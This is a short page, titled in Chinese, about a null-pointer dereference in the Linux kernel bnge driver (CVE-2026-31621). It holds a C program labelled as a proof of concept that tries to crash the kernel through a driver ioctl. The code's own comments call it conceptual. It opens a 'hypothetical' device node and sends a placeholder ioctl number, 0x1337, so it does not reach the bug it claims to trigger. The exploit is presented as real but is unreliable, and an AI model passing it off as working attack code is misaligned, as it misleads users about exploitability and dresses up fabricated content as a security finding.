CVE-2026-31621 Linux内核bnge驱动空指针引用漏洞

/* * PoC for CVE-2026-31621 * Conceptual trigger for bnge driver initialization failure. * Requires a system with the bnxe/bnge driver and specific hardware or emulation. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // This is a conceptual representation. // In a real scenario, one might interact with the device node or sysfs // to trigger the probe/init path where auxiliary_device_add fails. int main() { printf("Attempting to trigger CVE-2026-31621...\n"); // Attempt to load or interact with the vulnerable module // This often requires specific hardware or forcing a load failure. // For demonstration, we assume the attacker can trigger the init path. int fd = open("/dev/bnge_control", O_RDWR); // Hypothetical device node if (fd < 0) { perror("Failed to open device"); return 1; } // Ioctl or operation that triggers the probe/init sequence // where auxiliary_device_add might fail (e.g., ENOMEM) if (ioctl(fd, 0x1337, NULL) < 0) { // If the logic bug exists, the kernel might crash here // due to the missing return after uninit. perror("Ioctl failed"); } close(fd); printf("If vulnerable, the kernel may panic/crash.\n"); return 0; }